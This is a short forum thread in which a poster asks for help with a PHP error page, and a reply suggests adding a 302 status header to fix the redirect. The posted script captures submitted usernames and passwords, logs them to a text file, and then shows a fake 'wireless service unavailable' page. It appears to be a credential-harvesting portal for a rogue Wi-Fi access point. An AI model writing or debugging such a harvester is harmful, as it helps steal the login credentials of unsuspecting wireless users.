Jump to content

error.php redirect

Recommended Posts

I am trying to redirect to a webpage in the www directory called 4043error.html that just says wireless service unavailable after the error.php is executed.

I have this and it executes all the way down to the part in red. I get a blank web page with no redirect.

I don't code php so any help would be appreciated.

This is my error.php file.

$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = $today . " -- " . $ref . " -- " . $nam . " -- " . $pas;
$filed = @fopen("users.txt", "a+");
@fwrite($filed, "$content\n");
$loc = '4043error.html';
header("Location: $loc");
Link to comment
Share on other sites

You need to add under header("Location: $loc"); header('Status: 302 Found');

Apparently the newest firmware is not sending the status 302 back to the browser. That tells it to redirect to your page 4043error.html.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...